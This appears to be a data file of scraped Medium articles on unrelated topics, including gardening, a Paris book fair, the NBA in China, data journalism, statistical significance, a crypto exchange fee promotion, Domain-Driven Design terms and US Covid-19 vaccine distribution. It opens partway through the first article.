By the way, you’ll be absolutely amazed at some of the items that can be pulled out of a compost heap — especially one that you inherited from a previous plot holder; sweet wrappers and tap top head covers just for starters! | https://medium.com/@gemmaboydmusicianandpoet/tips-and-tales-for-organic-allotmenteers-january-d81ae64d0380 | ['Gemma Brandy Boyd'] | 2021-01-07 14:35:13.782000+00:00 | ['Succulents', 'Allotment', 'Organıc', 'Gardening', 'Geraniums'] |
Auster at Salon du Livre Paris | Paul Auster, Umberto Eco, Salman Rushdie and Doris Lessing were among the 90 international guests of honor at the 2010 Salon du Livre de Paris. The six-day public festival, which celebrated its 30th anniversary this year, kicked off on March 26 at the Porte de Versailles exhibition center. According to Publishers Weekly, more than 2,000 authors and illustrators were in attendance and took part in over 5,000 book signings.
[caption id=”attachment_308" align=”aligncenter” width=”300" caption=”Paul signs books at the Salon du Livre on March 27, 2010.”]
[/caption]
[caption id=”attachment_309" align=”aligncenter” width=”300" caption=”Photos courtesy of Eliane Bénisti”]
[/caption] | https://medium.com/carol-mann-agency/auster-at-salon-du-livre-paris-c624cac85307 | ['Carol Mann Agency'] | 2016-05-05 21:48:38.751000+00:00 | ['Salon Du Livre Paris', 'Paul Auster'] |
Introducing Stories for Graphs | We are excited to announce a new feature, Stories on Graph Commons.
A network map, or a graph, is a powerful medium to visualize and analyze relations at scale. It doesn’t present a single story, but multiple possible narratives. At first glance, a giant hair-ball of a graph can be, for the non-expert, confusing, intimidating, or just illegible. Not everyone has the facility to read a network map and use algorithmic interfaces to filter and navigate. So we created the Stories feature, to allow you to tell simple narratives from complex data maps.
As of today, you can start creating interactive slideshows to tell dynamic stories from your graphs. You can narrate interesting patterns, actors, paths and clusters in your data, through a visual interface that mimics the movements of a camera across your graph. Beginning with the familiar narrative flow of a story, you can reach more people, and introduce them to the tools that will allow them to engage with your graphs. It looks great on mobile browsers too!
Explore the stories below and try the interactive tutorial to begin making your own stories.
Who is opposing or supporting the EU climate change policies.
8-slide story by SIMPOL Project, Financial Systems Simulation & Policy Modelling at University of Zurich.
Sector-based curation that enhances creative production amongst our community. 9-slide story by ATÖLYE, Transdisciplinary Innovation Platform in Istanbul.
Erdogan’s brother-in-law ties the family to the Azeri SOCAR conglomerate. 11-slide story by L’Espresso Magazine, Italy’s prominent weekly and Italian partner of ICIJ.
This story tracks the major attacks committed by ISIS from among the 88 attacks by 9 different terror organizations since 2011. 5-slide story by 140journos, new media journalism from Turkey. | https://medium.com/graph-commons/introducing-stories-for-graphs-58f184254480 | ['Graph Commons'] | 2017-06-25 18:13:12.131000+00:00 | ['Civictech', 'Big Data', 'Journalism', 'Open Data', 'Storytelling'] |
The NBA Learns the High Cost of Doing Business in China | A year after falling afoul of the Chinese Communist Party for a Hong Kong support tweet, the NBA is finally back in China. What have we learned?
Game 2 of 2019 NBA Finals. 2 June 2019. (photo: Chensiyuan)
A little over a year ago, the general manager of the Houston Rockets, Daryl Morey, tweeted his support for democracy efforts in Hong Kong. NBA executives could scarcely have predicted the firestorm which would ensue.
The tweet caused an immediate uproar from the Chinese Communist Party, and the NBA soon found itself on the bench in China. In spite of abject apologies, from Morey right up the NBA chain of command to the very top, Chinese officials were unmoved.
The political maelstrom soon deepened as U.S. officials from both sides of the aisle waded in to condemn the NBA’s attempts to appease the CCP, and decry the CCP’s efforts to censor the free speech of American citizens.
It is reasonable, in this situation, to point out that, due to ideological differences, the Chinese government does not consider freedom of speech an inalienable human right. In the view of the CCP, public safety and the ever-amorphous “public good” are more important. Therefore, Chinese authorities have no qualms whatsoever about controlling completely the state-run media.
Controlling what people say in America, of course, is another matter entirely.
In any case, Sirs Castro and Cruz needn't have bothered. None of the pleading from NBA brass did a bit of good. From the moment of that fateful tweet, all NBA games were banned from Chinese television.
And the NBA lost an estimated $400 million dollars.
Now, over a year later, the NBA has finally managed to claw its way back into the good graces of the Chinese Communist Party and party censors; and into the NBA’s most lucrative international market.
What has been learned about the cost of doing business in China?
Even before Morey’s tweet, things were far from perfect in China for the NBA. The market was lucrative, sure. But the NBA academy had to be quietly shut down after an investigation into reports of CCP coaches physically assaulting young players. The players were also being kept out of school.
American coaches weren’t being treated all that well either, come to that. NBA operations in China brought NBA employees uncomfortably close to the CCP’s interment camps. Some visiting coaches likened the police-state environment to World War II Germany.
An estimated 1.5 million Uyghur Muslims are currently being interred in forced-labor “reeducation camps” by the Chinese Communist Party.
In addition, the CCP is trying to eliminate the indigenous Uyghur culture. Thousands of Mosques have been razed and ancient cemeteries have been purposefully paved over with parking lots.
A massive influx of wigs made from real human hair just hit the market from China. Human rights organizations say there is no way to obtain such a supply legally. Satellite imagery has shown Uyghur Muslims having their heads shaved as they are interred. There are signs of a sophisticated organ harvesting operation as well.
As a result, professional basketball isn’t the only industry struggling under the moral weight of doing business with China.
Hollywood studio execs who want their films shown to Chinese audiences must first submit those films to China’s Central Propaganda Department, the Ministry of Justice, the Ministry of State Security, the Ministry of Education, the State Ethnic Affairs Commission, the Ministry of Public Security and the State Bureau of Religious Affairs, just to name a few.
No one who wants to stay on good terms with the Chinese Communist Party should dare raise the subjects of Tiananmen Square, Hong Kong, or Taiwan. Tibet is also verboten.
Not only would the critically-acclaimed film “Seven Years in Tibet” not be produced in Hollywood today, the director had to go on an apology tour, begging Chinese Communist Party officials for their forgiveness.
Chinese censors have other objectionable guidelines as well, including a well-known preference for lighter-skinned African-American actors. These guidelines are often tacit, understood, which makes the censorship that much more insidious and difficult to confront.
“China and its one-party government currently lack…clear guidelines and standards. As such, it’s difficult to know whether or not a proposed project may fall afoul of the Chinese Communist Party (CCP)- an organization for which projecting the image of a stable society is considered paramount to preserving its hold on power.” — “Ten Things to Know about Working in Film in China” — American Film Market Magazine, 2016.
Mass media and news companies aren’t exempt from the censorious cost of doing business with China, either.
Leaked audio exposed the lengths Bloomberg’s editor was prepared to go to stay on good terms with China: “Bloomberg News Killed Investigation, Fired Reporter, Then Sought to Silence His Wife.” — NPR. April 14, 2020.
A media industry eager to turn American celebrities and sports luminaries into spokespeople against racism and injustice in America, falls deadly silent when the subjects of the Chinese Communist Party, censorship, and human rights abuses in China are raised.
In the year since the Chinese Communist Party successfully shut the NBA out of the Chinese marketplace for a tweet, we have learned one very important thing about the cost of doing business with China.
The message, on every level, from the Chinese Communist Party is “Censor yourselves, or we’ll do it for you”.
(contributing writer, Brooke Bell) | https://medium.com/@munrkazmir/the-nba-learns-the-high-cost-of-doing-business-in-china-3a9fbf24a275 | ['Dr. Munr Kazmir'] | 2020-12-13 22:31:24.164000+00:00 | ['Censorship', 'NBA', 'Media Criticism', 'Politics', 'China'] |
Data Journalism: redefining community awareness and decision making in Sudan | The concept of data journalism is allowing data to pave context and build in credibility to the story. Datasets can be found ready made in the internet, or created by extracting it from multimedia files (pdf, videos, audio) or from people through a series of interviews, analysis, research and any other means of discovery which will result in a wholesome set of information to be used as a point of reference for readers, communities, governments, etc.
Its process has a series of steps that anyone can learn and master.[ It has unlimited uses and benefits, and has a huge positive impact on the communities and readers. There are some essential tools for data journalism.
This field isn’t new, it’s just trendy. There’re a number of professionals in this field that you should follow where they could provide further insight on data journalism.
Alex Howard defined it as: “gathering, cleaning, organizing, analyzing, visualizing and publishing data to support the creation of acts of journalism.”
The Data
I’m not going to define what data is in this section , but I’ll be giving you brief case studies and demonstrate data in a more digestible light.
Not all official data sources are reliable, accurate, or correct. This can be solved by getting the officials’ people’s attention to this matter, so that they can fix it. You can do this by writing an article about it by the way!
As it will require a huge effort, a master plan, and a budge. However, institutions with a capability to satisfy these factors can change and improve data sources for a better and wider use.
To bring this to light on an individual level, one can use whatever at his/her disposal to resolve the facts such as blogging or social media.
The best way that you acquire data is to create your own datasets from scratch. Only then you’ll be sure that you got what want. You can create big datasets about the smallest things around the world.
Moreover, the most important thing is how will you visualize the data because it might be the most important aspect of all. The colors, the graph type, the scales and etc. It should be readable, understandable and digestible for your readers.
When discovering data, you should look at it from a wider angle and provide alternative stories to it. Be sceptic, but not cynic about the data. Do not interpret the data, but rather let it speak by itself. Uncertainty is good because you might not have the answer, or the best answer, and you get to ask more questions and discover more. The investigation in itself is a story.
“Data is not the whole story because the people are the main source. Interviews are still crucial . A clear example that emphasizes this claim is when there was a story about real estate deals made by investors in family houses. It was noticed that there was this one particular house in the dataset that was exchanged multiple times, and the people involved in these multiple transactions of this one house were interviewed, the story became richer and more amusing! Data helps journalists to verify claims, tackle bigger stories, find new stories, illuminate murky issues, report more efficiently.” Ben Casselman from the New York Times
What data isn’t:
According to the Guardian, data is not: a force unto itself, speak for itself, power by itself, a perfect reflection of the world, or easy to interpret .
R-Programming Language, Python Programming Language, Tableau Software, Power Bi Software, and Web Scrapping Tools are all useful software tools that you’ll need to learn in order to becomes a data journalist.
“I ask myself whether the numbers I’m looking at will start a new conversation that people aren’t having yet, or if they will add to an existing conversation in a valuable way. If the answer to both of those questions is no, then I don’t bother to write the piece.” Mona Chalabi
Data journalism process is 80% perspiration, 10% great ideas, and 10% output. It can be either a long investigative process, or a short one that covers only key data.[1]
History of Data Journalism
Data journalism is very old. You can take a look at Florence Nightingale (1858), and at John Snow’s Cholera Visualization. | https://ahmed-elaffendi.medium.com/data-journalism-redefining-community-awareness-and-decision-making-in-sudan-ef2eaff0d4f3 | ['Ahmed El-Affendi'] | 2020-10-28 02:47:18.083000+00:00 | ['Journalism', 'Sudan', 'Data Journalism', 'Data Science', 'Writing'] |
Statistics and It’s Love-Hate Relationship with Science | Statistics and It’s Love-Hate Relationship with Science
Statistical significance and Science. Source: Giphy
Why does the toothpaste commercial want you to know that 9 out of 10 dentists approve their product?
This article addresses statistical significance, a popular convention in modern empirical science and statistics.
Although numbers form the heart of statistics, only when an interpreter converts the problems of math to usable formulations in language, it can be put to any real use. This makes statistics a double-edged sword. On the one hand, numbers have a concrete meaning. One slip of interpretation, they turn your world upside down.
If you are a business intelligence expert, you definitely have experienced it at work. Absolute numbers tell you less than percentages and percentages tell you less than the percentages compared to last year.
The numbers don’t change, but the story you tell with them does every time you see a new perspective.
In a way, you can be glad because numbers can be automated but interpretations as of now, need human finesse. But human finesse is associated with a multitude of cognitive biases [Thinking Fast and Slow, Daniel Kanheman]. Though heavily mathematically equipped, we are not wired to be mathematical creatures. we as of now don’t know how to feel 38% happy with something [Fooled by randomness, Naseem Nicolas Taleb]. We are either happy or sad.
The problem with Empirical Sciences
Empirical sciences and statistics have a love-hate relation with each other. Empirical scientists are eager to achieve the magic threshold of statistical significance to prove their propositions. Statistics on the other hand is a reluctant participant in establishing cause and effect.
For instance, statistics can measure a correlation of 100% between your toilet breaks and the number of goals scored against your favorite team. But it is merely an unwitting participant in your conclusion to never pee again.
While empirical scientists are eager to prove and disprove theories and toss them into black and white piles, only the white pile grows larger each day. The “disproves” don’t get a paper to their name because it is unexciting to read a paper titled “The color of your car is irrelevant to your probability of getting cancer”.
On the other hand, it is very exciting to publish a statistical significance report on how every time Miley Cyrus drops a new single, the Himalayan tectonic plate moves a centimeter closer to Eurasia. (This is not a fact)
Statistical significance and the null hypothesis
What is “Statistically Significant”?
If you are testing the impact of a cause on an effect by observation, a statistically significant proof is when there is substantial evidence from observations that the observed “effect” is not by mere chance.
Null Hypothesis, source: Giphy
Say you are testing a drug for causing happiness. You want to claim that the drug is effective. So you will start by saying “Assume that the drug has no impact on happiness whatsoever”. And then you will go on to prove that this is not correct.
For you to claim that your drug is effective, you have to prove that
There were enough number of days where you were happy after taking the drug There are enough days you were NOT happy when you did not take the drug.
The “enough” number is the statistical significance threshold. If the opposite is true, that is if the drug actually has no bearing on your happiness, it established the null hypothesis.
How do we measure statistical significance?
Photo by Charles Deluvio on Unsplash
The value measured to prove statistical significance is called the p-value. It is the probability value of the observed results, assuming that the null hypothesis is true. The threshold accepted in the research community for a statistically significant result is P ≤ 0.05.
Is it a god-given number found in nature? Is it an observed value, like acceleration due to gravity =9.8 m/s²?, like the meaning of life = 42? (Hitchhiker’s Guide to the galaxy, cheers if you got the reference). This value, like many things in statistics, was established, I assume, per intuition by F.A Fischer in the early twentieth century.
Let’s see how it works:
Consider the following excellent example by Jordan Ellenberg. for you to check for both conditions 1 and 2 above for your drug, you take 100 bunnies and test their happiness after giving 50 of them the drug and 50 of them a placebo. But it is not enough to show that the 50 drug-bunnies are happy. You should also show that the non-drug bunnies are relatively unhappy.
Imagine that out of 50 non-drug bunnies, in 5 days, 45 are happy. the probability of finding a happy bunny if the drug would have no effect at all after 5 days (as is the case in the non-drug bunnies), is therefore 45/50 = 90%. Now look in your drug-bunny lot. You see that all bunnies are happy.
The probability that a bunny is happy when one does nothing is 90% of the total, as observed from the placebo lot.
The probability that a second bunny is also happy is 90% of the remaining 90%, 0.9*0.9 = 0.81
The probability that the next bunny is also happy is 90% of the remaining, 0.9*0.9*0.9, and so on
With each new happy bunny, the probability that the next bunny is happy falls. The probability, therefore, of all bunnies being happy is (0.9) multiplied to itself 50 times, 0.005, which is one in 200 times. The observed number of 50 out of 50 happy bunnies is, therefore, an event of slim probability under the assumption of the null hypothesis. Thus you statistically proved that your drug has an impact. The tinier your p-value, the happier you can be.
Can you trust statistical significance?
The above example is more than convincing. If your results are that glaringly significant, maybe it means that they are correct. Then what is all the noise about?
Charles Darwin himself mused that if his observations about evolution are a mere chance, It would be a wonder that so many observations in the natural world fit his theory.
Source: Giphy
Unfortunately, this convention of meeting the statistical significance threshold has caused a furor in many scientific communities. Statistical significance is only as powerful an instrument as the data set it measures.
If a bigger dataset or a larger demographic or a different area is chosen, it is very likely that the significance results differ vastly. At the same time, It is very unlikely that some cases like drug tests will even reveal a null hypothesis. The odds that the null hypothesis is exactly found are very less when you massively alter your body chemistry with a drug.
In the words of Jordan Ellenberg, it is more likely that something will cause or prevent cancer than do nothing! this extreme unlikelihood of the null hypothesis leaves many loopholes for desperate researchers to botch results using clever language.
As a result, it is technically scientific to splash tomatoes against a wall and tell the future with the patterns they make because you had it correct about 100 times. The 1000 tomato-splashers who don’t get it right don’t write a paper. If a thousand tomato splashers try splashing tomatoes a thousand times, it is not a wonder if one gets the future right 100 times by mere chance.
Does it mean that all scientists false-report?
So are we to believe that scientists and statisticians are unfaithful to their science? Is there no true scientific inquiry?
To be fair, science and philosophy share one common pitfall. Both the scientist and the philosopher believe that they are in pursuit of the truth. But it is very easy to stray from the path and end up pursuing evidence for what one already believes is the truth without realizing it.
Add to it the pressure of having to publish for your employer, publish for your sponsor, find evidence for something (anything!), the stringent course of time experiments need for validating, and the possibility that the research is outdated in the market after the n years it takes to do it. Truth is by no means a trivial pursuit.
As a reader, it is essential to know that one has to take results and their meaning with a pinch of salt. Accept that hardly anything is black-and-white. The more parameters involved in coming to a conclusion, the better. But the more parameters involved, the more complex is the question and its less it’s ability to be answered by observation alone. It is also a great practice to look for the repeatability of the results. Did 10 other researchers find the same thing? did 10 researchers all come from the same demographic and time-period? Such are the questions you should ask to make your interpretation of results more meaningful. | https://towardsdatascience.com/statistics-and-its-love-hate-relationship-with-science-b51c6cf56e81 | ['Sruthi Korlakunta'] | 2020-12-09 06:51:16.643000+00:00 | ['Data Science', 'Big Data', 'Business Intelligence', 'Books', 'Statistics'] |
Announcement #10: 33% off on Margin Trading Fee with BNS! | Hey guys,
We’re excited to launch another BNS utility today. Margin lending fees can be now paid using BNS tokens. Bitbns margin trading has pretty high liquidity from users trading on the platform.
Let’s have a look at the BTC lend order-book on Bitbns:
There are orders higher than 57 BTC, i.e more than $600,000.
Similarly for USDT order-book, there are around a million USDT worth of lend orders. Bitbns margin trading section has deep liquidity and it has been structured in a way that borrowers have instant execution and great liquidity. Margin trading is available for over 30 coins on Bitbns and all the lenders would now be able get fee rebates on their margin trading with BNS. Yes, they get upto 33.33% fee rebate when they pay margin trading fees with BNS.
How it’d work:
Suppose, say I lent 10,000 USDT at 1.5% monthly interest.
at The net interest generated would be 150 USDT.
generated would be Normally, margin lenders pay 15% of the interest they generate from the asset lent. So, a 15% fee on 150 USDT is 22.5 USDT .
they generate from the asset lent. So, a on 150 USDT is . Now this fees becomes 15 USDT when paid via BNS . So, about a 33% savings for a user.
. So, about a for a user. The user gets back the entire 10,150 USDT and 15 USDT worth of BNS is deducted from his wallet instead of 22.5 USDT, which he would have paid as fees. 🥳
Users would get discount on margin lending interest based on the slabs defined below:
Bitbns margin trading section facilitates upwards of 30 million USD worth of lend and borrow orders monthly on an average. A lot of this liquidity would be able to benefit from the reduced fees being enabled from margin lending. This would effectively empower the lenders on BNS to hodl it.
This functionality goes live once majority of the coin nodes are up and running, which we expect to complete by August 17th. Post that, the users would get a ‘Pay with BNS’ option on their margin lending section.
On a Side Note…
Let’s move a step back to Announcement #9. A few of you had questions on how does adding Chainlink(LINK) correlate to BNS.
Well…
Bitbns is India’s largest crypto exchange and in order to grow into one of the largest globally over time we need to ensure we open up relevant assets that are in demand by traders, investors, provide relevant options for them to trade that asset seamlessly. Users who wish to trade or already existing Chainlink community would also sign up on Bitbns to start trading link with INR. We had given a gist of how exactly it helps BNS in the para in that announcement. Reiterating the same below.
How does this help BNS and Bitbns?
This makes Bitbns a platform of choice for anyone who wants to trade Chainlink (LINK) from India. The additional trade volume would impact the BNS consumed in fees by users who trade on the platform. Remember, LINK is one of the most traded tokens out there. We would continue to add additional trading capabilities like margin trading to these coins. Also, exciting things like FIPs on Chainlink (LINK) with extra discount via BNS soon. So BNS holders get extra interest if they hold Chainlink in an FIP. Chainlink has gone 80x of its ICO price from 2017 in terms of ROI. Pool Sales would also be bought on a token like Chainlink, which is in huge demand. So, BNS staking would be involved.
To collaboratively cross pollinate communities from different major tokens into Bitbns and effectively making Bitbns as a destination of choice for trading, it’s important for BNS to grow. Bitbns is first and foremost an exchange and it derives significant utility from BNS. Strengthening that is critical in terms of augmenting the growth of BNS.
We are launching a LINK FIP which users can participate in on 18th August with a 12% annualised interest. You can find the link to the same https://bitbns.com/trade/#/fip/.
Bitbns would sponsor the FIP interest in this case till LINK comes to margin trading :)
Till then,
Onwards and upwards
Team Bitbns | https://medium.com/bitbns/announcement-number-10-33-off-on-margin-trading-fee-with-bns-c2e85c9b55bf | [] | 2020-08-29 15:16:32.001000+00:00 | ['Crypto', '100daysofbns', 'Cryptocurrency', 'Bns'] |
Nontechnical Founder Interview: Overcoming Imposter Syndrome with Zack Hurley | What was life like → a shy kid → both parents were start-up people as well as their grandparents. (grandparents → move there and it was the first village → building the community.) → build a city for the people.
They wanted to make this into a city in Colombia → have everything around you → save so much time and be efficient. (grandmother → is a very amazing person → get caught but play around with the rules) → both people were → challenging the original thoughts and creating new ideas and stuff.
Do not be that fucking good kid → and break the rules and more → fuck shit up. (any → sell candy and more → resell it). (take a gift to turn it into cash → this is practicing selling stuffs → door to door selling).
His mother → was not involved → he just did it on his own → started the boy's group → and this was the start) → in the meeting in the club → but was not in the frat guy → created much smarter frat.).
So this guy was very natural at creating a group and breaking the rules → and bending the stereotype. (want to make a legacy).
Do not be mean to other people → have a great experience at university. (went to Spain → study Mexico → travel all around and more → free ticket → there was no prepayment → have to work in between the places).
Work in the overseas → live in Spain → converted resume into Spanish → and went to every bar → very fast → English and more → cool way to meet people and everything → got bored of that → language school and more.
English school → they were bringing the army → to teach English girl and Irish guy → that was their job. (very cool experience → serious girlfriend) → traveling by himself → free soul.
And worked for mother → and more → very good rating → so there were some family backups → marketing and PR software were being sold.
Did really well → how to get people to open up → and trying to grow up the company. (he was consulting other people → he was able to listen to other people). (became really good → but got bored). (he was into learning experience).
Taking the course of the sale → is critical.
Slowly remove me from the workplace. (the four-hour workplace). (big move → and remote work → while working in the indie source → had some long conversations → with other people as well → he was interested in creating the company).
Optimizing the old way → this is more or less his way of doing business. (cold calling → this was the start of the business → all-day → but did not take a lot → a good idea will sell itself). (now doing everything in LA → everybody is separated → this is a horrible idea).
Have to be in the same place → to take your time → in the development. (in general, → this is a clothing industry).
Optimizing the old process → this is their business. (he is a non-technical people → choosing the right one is so hard → need to know the person who is good).
Managing people is a key skill for everyone. (a good hire is a key idea → but good people is worth all of the money) → hire really good people → twice as expensive → but they do a good amount of job.
Now the marketing component will be added on. (understanding what kind of things sell is very important). (being close to the customers is very important).
Work with great guys → and other great companies → produce great stuff.
Darkest days → scale the company in thirty people → keeping the balance is very important → cannot pay the employee → and this is very important to note.
Fight or flight attitude.
Do not have any money → and this is very scary on thing to do. (also the business is growing → kids line and more). (they brought all of the different players in the manufacturing industry). (they were having a crazy growth).
For people just starting → look at the numbers and do statistic. (get the numbers correctly!) → this is critical. (he is expert in sales → how to get there → language → as well as creating the people → just call them → to get momentum).
Just do it. (ask why → selling something → ask why). | https://medium.com/@SeoJaeDuk/nontechnical-founder-interview-overcoming-imposter-syndrome-with-zack-hurley-d9244f61112b | ['Jae Duk Seo'] | 2019-08-15 06:42:53.222000+00:00 | ['Company', 'Business Strategy', 'Startup', 'Money', 'Business'] |
Domain, Subdomain, Bounded Context, Problem/Solution Space in DDD: Clearly Defined | Domain-Driven Design is an approach to designing systems, usually software, that emphasises creating a common language between domain experts and system builders. Famous DDD principles include Use a Ubiquitous Language and Make The Implicit Explicit.
However, some concepts in DDD do not have a clear definition and are highly implicit. Everybody has their own definition of Domain, Subdomain, Problem Space and Solution space. In this article, I’m going to provide working definitions of those concepts and clear them up.
This post is based on a long conversation on github involving many people from the DDD community. Thank you to all involved.
Fuzzy But Not Ambiguous
Before defining each term, I want to emphasise an important point that Kenny Baas-Schwegler makes. He argues that DDD should be fuzzy. By having fuzziness in DDD, we can explore, model and solve new and novel problems because the existing patterns and principles don’t over-constrain our thinking.
By fuzzy I mean that a word can be used to describe different things that are similar in some way but not identical. The word “few” is a good example. In some scenarios it might imply a low range like 2 — 3 and in others it could imply a different range like 5–10. In others it can mean £100s of pounds “can you lend me a few quid?”. The key thing is that the fuzziness should be easily inferred from context (if different people interpret it in significantly different ways, that’s too ambiguous).
If I say a word and I expect that you have the same definition, but you actually have a very different definition, we have false alignment. We think we’re talking about the same thing but we’re not.
Credit: Jeff Patton https://www.jpattonassociates.com/read-this-first/
With DDD, we want to embrace fuzzy, but with shared understanding of how fuzzy each concept can be.
The following definitions are fuzzy, however, we should all be highly-aligned when using these words.
Domains
Domain-Driven Design sticks closely to the Cambridge Dictionary definition of a domain:
an area of interest or an area over which a person has control: She treated the business as her private domain. These documents are in the public domain (= available to everybody).
This definition of a domain is very fuzzy. What is an area of interest? It can be anything. A domain is effectively an arbitrary boundary around some subset of concepts in the universe.
Domains are subjective and they are not mutually exclusive. The same concepts can exist in many different domains. Here’s an example I use in talks and workshops:
How to group these concepts into domains?
If the coloured shapes in the image above represent concepts, how would they be grouped into domains? As you can guess, there are a number of ways to do this.
We can group the square shapes into the Squares domain, and the circles in the Circles domain. But the blue square and the blue circle could also belong to the Blue domain.
The same concepts can belong to different domains
When modelling systems we have to choose the most appropriate domain boundaries with which to align our software and organisational boundaries. Even if we align we align by ‘colour’ the shape domain is still a domain that exists.
Every domain I model and every modelling workshop I run, different people like to slice up systems across different domain boundaries. This is normal, embrace the fuzziness and apply design thinking.
Subdomains
What’s the difference between a domain and a subdomain? This one is easy — subdomain is not a word that exists in the dictionary. The word subdomain is used prominently in the world of web hosting, but what does it mean in DDD?
In DDD, a subdomain is a relative term. Domain and subdomain can be used interchangeably. When we use the word subdomain, we are emphasising that the domain we are talking about is a child of another higher-level domain which we have identified.
Every subdomain is, therefore, a domain, and most domains are a subdomain. The only time I wouldn’t say a domain is also a subdomain is when our model does not contain a higher-level parent domain.
Core, Generic, Supporting (Sub)Domains
People are often confused when they hear that a core domain is actually a subdomain. In his DDD books, Eric Evans refers to them as Core Domains, but he also refers to them as subdomains. Confusing much?
When you view domains and subdomains as fuzzy, and subdomains also as domains, using core domain and core subdomain interchangeably doesn’t really matter. It’s fuzzy but not ambiguous.
Core Domain sounds better, Core Subdomain emphasises that there is a higher-level domain to which this belongs.
Problem Space vs Solution Space: A Better Model For DDD
The most confusing terms are problem space and solution space. Everybody has a different view on what lives in the problem space and what lives in the solution space in the context of Domain-Driven Design.
I think the problem/solution space model is too simplified for what DDD is trying to express. It is too ambiguous and more precision is needed. The elements in Simon Wardley’s Strategy cycle are much more usable in my opinion.
Simon Wardley’s Strategy Cycle
In Wardley’s Strategy Cycle, there are the following elements (with my simplified definitions):
Purpose : what is the problem being solved / goal to be achieved in our domain(s) of interest?
: what is the problem being solved / goal to be achieved in our domain(s) of interest? Landscape : what is the current state of the domain(s) we are interested in
: what is the current state of the domain(s) we are interested in Climate : what forces are acting on the domain(s) and how are they likely to evolve
: what forces are acting on the domain(s) and how are they likely to evolve Doctrine : universally good practices we should apply
: universally good practices we should apply Leadership: what is our solution… what changes are we going to make in existing and new domain(s)
Are Domains/Subdomains Problem or Solution Space?
This question can’t really be answered unless we have a clear definition of problem or solution space. But I’ll have a go anyway.
User needs and problems exist in a (sub)domain(s), the current state of the world has (sub)domains, the solution will involve multiple (sub)domains and it will alter the state of the world (which has domains). Therefore, (sub)domains logically exist in all spaces.
How can a subdomain only exist in the problem space when the design determines which subdomains we need to build solutions in? Ergo, some domains are only relevant to the solution and not the problem.
My understanding of problem and solution space in DDD. There are many other definitions out there.
New solutions create new problems, or in the words of Simon Wardley Higher Order Systems Create New Sources of Worth.
I still recommend avoid using problem/space and instead be more specific about what you actually mean: purpose, landscape, climate, doctrine, leadership, or something else.
Whenever using the terms problem space and solution space, you need to clarify from which perspective you are speaking. Your problem space is someone else’s solution space. It’s your view of the domain.
Domains are Hierarchical
If a domain can contain subdomains, and a subdomain is a domain… then a subdomain can contain more fine-grained subdomains. Domains and subdomains are a hierarchical concept.
When designing socio-technical systems, we often want to show domains at different levels. Leadership of an organisation might want to see the companies 7 top-level domains. Software architects might want to see the domain boundaries for 100 microservices.
The Enterprise Architecture world uses the concept of Business Capabilities at different levels. Business Capabilities can be viewed as domains and subdomains.
Domains are hierarchical and they represent business capabilities
Subdomain vs Bounded Context
This is one of the most confusing things about DDD, but when you have a clear definition of subdomain it’s actually the simplest to explain.
I’ve already established that a (sub)domain is a non-mutually-exclusive, arbitrary subset of concepts in the universe. A bounded context is the boundary of a model that represents those concepts, their relationships, and their rules. The same subdomain could be represented by an infinite number of modelling choices.
A model in DDD can be represented in a variety of formats such as post-it notes or code. Anything that shows domain concepts, relationships, rules, and so on.
Since a bounded context is a boundary for a model, it could include concepts from multiple subdomains. Or a single subdomain could be modelled as multiple bounded contexts.
Subdomains vs Bounded Contexts: Areas of the domain vs boundaries of models of the domain
Agree or Disagree?
Do you agree with these definitions, and are you happy to use them going forward? If not, please leave a comment. I care more about creating a shared understanding in the DDD community than pushing my definitions as the de facto standards. I’m very happy to change my mind… | https://medium.com/nick-tune-tech-strategy-blog/domains-subdomain-problem-solution-space-in-ddd-clearly-defined-e0b49c7b586c | ['Nick Tune'] | 2020-11-28 13:45:08.792000+00:00 | ['Systems Thinking', 'Software Architecture', 'Domain Driven Design'] |
A Vaccine Has Arrived and the U.S. Is Still Screwing Up | A Vaccine Has Arrived and the U.S. Is Still Screwing Up
Photo: Christian Lue/Unsplash
I really don’t know why anyone is surprised by recent revelations about Covid-19 vaccine manufacturing and distribution snafus. For nine months, our government has failed to create working supply chains for both testing and personal protective equipment (PPE). We still lack raw materials, manufacturing capability, data on need, logistics, price supports, and equitable distribution. Why would we expect vaccines to be different?
Back in March, many of us called out that the health care supply chain was broken. I wrote about it with Ashish K. Jha and Valerie Griffeth in the New England Journal of Medicine. Nothing that we talked about or called for has been fixed. Instead, the feds developed a mess of a system to meet our health care systems’ PPE, testing, and other supply chain needs — a “fumbling” effort by “inexperienced” people with no background in supply chain logistics, manufacturing, disaster preparedness, or health care.
We learned very early in this pandemic that our national strategy was one of bluster and photo ops — not one of doing the hard work to get supplies into the hands of those who need them.
Alarm bells have been ringing for months about the lack of strategy for vaccine manufacturing, distribution, and messaging.
In the face of immediate need for PPE, we set up workarounds — groups like Get Us PPE developed data networks and equitable distribution strategies. For testing, the country relied on public-private partnerships, like Rhode Island’s (and other states’) partnership with CVS.
But let’s be clear: these efforts are simply substitutes for a federal strategy.
They are in no way equivalent to a good, organized, 50-state, publicly funded effort — which brings me to vaccines. Alarm bells have been ringing for months about the lack of strategy for vaccine manufacturing, distribution, and messaging.
In September, Trust for America’s Health, a nonprofit, and David Lakey, vice chancellor for health affairs at the University of Texas, wrote a piece for STAT imploring “Operation Warp Speed” to come up with a plan. Simultaneously, potential breakdowns in the cold-storage distribution chain were highlighted by Ed Silverman and others.
In October, the Association of State and Territorial Health Officials sounded the alarm that they still had no funds and no federal guidance on strategy. As of November, despite knowing that multiple phase 3 trials were nearing the end, and despite earlier promises to release vaccines pre-election, there was still no central repository for distribution plans, according to Kaiser Health News.
Not to mention the fact that months on, few people in positions of authority are talking about how to handle long-standing, well-founded mistrust from Black and Brown communities.
Without trust, even the best supply chain is useless.
With consumer confidence in the federal government at an all-time low and misinformation campaigns at an all-time high, even health care workers have expressed hesitancy about the vaccine.
Meanwhile, the guy who is directing Operation Warp Speed can’t explain why President Trump is making certain executive orders or why we passed on buying an extra 100 million doses of the vaccine.
Let’s be clear:
More than 300,000 Americans have died.
Another 150,000 will likely die before inauguration.
A vaccine is the best chance we have at getting things back to normal, quickly.
But what good is a vaccine if it stays on the shelves?
So, to those who expect that a miracle will be wrought and Covid-19 will simply disappear? Sorry, not gonna happen. To those who expect that herd immunity will naturally come to pass? Also not gonna happen. Just look at Sweden or New York City. To those who think the states will magically figure it out without funding or clear national guidance? Nope.
For the next 33 days until the inauguration, we’ll just continue to bumble along through the goodwill of philanthropy, the forethought of a few great states’ departments of health, and the hard work of health care workers, pharmacists, and techs who have already sacrificed so much.
And we’ll continue to watch our number of preventable deaths grow.
At the end of the day, despite having sunk billions of dollars into the creation of a vaccine, our feds have failed to close the last-mile gap — just as they failed with testing and with PPE.
